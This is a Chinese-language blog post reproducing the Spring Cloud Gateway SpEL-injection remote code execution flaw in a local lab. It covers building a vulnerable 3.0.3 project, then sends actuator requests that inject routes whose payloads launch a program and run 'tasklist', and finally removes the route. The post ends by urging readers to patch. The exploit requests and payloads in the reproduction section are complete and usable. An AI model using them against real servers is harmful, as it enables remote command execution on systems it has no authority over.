小菜鸟的个人博客已经正式上线且对外开放啦…
博客访问地址:小菜鸟的大梦想
欢迎各位同学扫码关注本人公众号 ↓↓↓ 更多优质内容将 首发 公众号
Spring Cloud Gateway远程代码执行漏洞复现
上篇文章《Spring Cloud Gateway高危漏洞修复方案》已经讲述了此次漏洞的影响及修复方案,那么本文就带领大家玩一玩该漏洞是怎么执行代码注入的,并会给使用者带来什么样的危险?
在复现漏洞并执行代码注入实现远程攻击之前,先了解下 Spring Cloud Gateway 具体是什么?
Spring Cloud Gateway 是提供了一个用于在 Spring Webflux 之上构建API网关的库。Spring Cloud Gateway 旨在提供一种简单而有效的方式来路由到API并为它们提供交叉关注点,例如:安全、监控和弹性。
Spring Cloud Gateway特性:
- 基于Spring Framework 5、Project Reactor和Spring Boot 2.0。
- 能够匹配任何请求属性的路由。
- 特定于路由的断言和过滤器。
- 集成Circuit Breaker。
- 集成Spring Cloud DiscoveryClient。
- 断言和过滤器易于编写。
- 请求速率限制。
- 路径重写。
漏洞环境搭建
本次测试采用版本即为官方爆出的漏洞覆盖版本,除此之外还需 PostMan 工具
- Spring Boot 2.5.2
- Spring Cloud 2020.0.3
- 其中Spring Cloud Gateway 为 3.0.3(漏洞版本)
本地创建Maven测试工程,添加如下pom依赖:
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.5.2</version>
</parent>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-dependencies</artifactId>
<version>2020.0.3</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
</dependencies>
<build>
<finalName>gateway</finalName>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
添加 application.yml 配置文件:
server:
port: 8080
management:
endpoints:
web:
exposure:
include: gateway
endpoint:
gateway:
enabled: true
spring:
cloud:
gateway:
routes:
- id: baidu
uri: 'https://www.baidu.com/' # 访问/skip/baidu 时路由到百度首页
order: 8000
predicates:
- Path=/skip/baidu
filters:
- StripPrefix=2
创建启动类 AppBootstrap.class
@SpringBootApplication
public class AppBootstrap {
public static void main(String[] args) throws IOException {
SpringApplication.run(AppBootstrap.class, args);
}
}
启动服务访问 http://localhost:8080/skip/baidu 将跳转至百度首页,表明环境搭建无误。
漏洞复现
1、查看当前路由:
GET http://localhost:8080/actuator/gateway/routes
2、添加包含恶意代码注入的路由:
POST http://localhost:8080/actuator/gateway/routes/test
Content-Type: application/json
请求体Body内容:
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"calc\").start()}"
}
}],
"uri": "https://www.baidu.com"
}
3、刷新网关路由
POST http://localhost:8080/actuator/gateway/refresh
postman发送以上请求,随即打开本地计算器程序,注入代码执行成功
以上注入代码调用了本地计算器程序,漏洞攻击者可采用其它代码注入执行特殊的服务器命令,从而对威胁服务器安全。
另一种攻击方式:
通过代码注入获取服务器进程列表,包括进程名、PID、使用内存等。
操作:将恶意路由注入中的 value 值 改为以下代码,再次执行路由添加、路由刷新
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"tasklist\"}).getInputStream()))}
路由刷新完成后,代码即已经在被注入的服务器上执行,此时查看恶意注入的路由即可获取代码执行结果:
GET http://localhost:8080/actuator/gateway/routes/test
4、删除添加的恶意路由
DELETE http://localhost:8080/actuator/gateway/routes/test
通过delete和refresh操作还原服务路由,至此 Spring Cloud Gateway 当前涉及版本所爆出的漏洞已成功复现。攻击者可采用SPEL代码注入方式实现远程恶意攻击,严重者致使服务器瘫痪,数据丢失。
漏洞有危险,请紧急修复!!!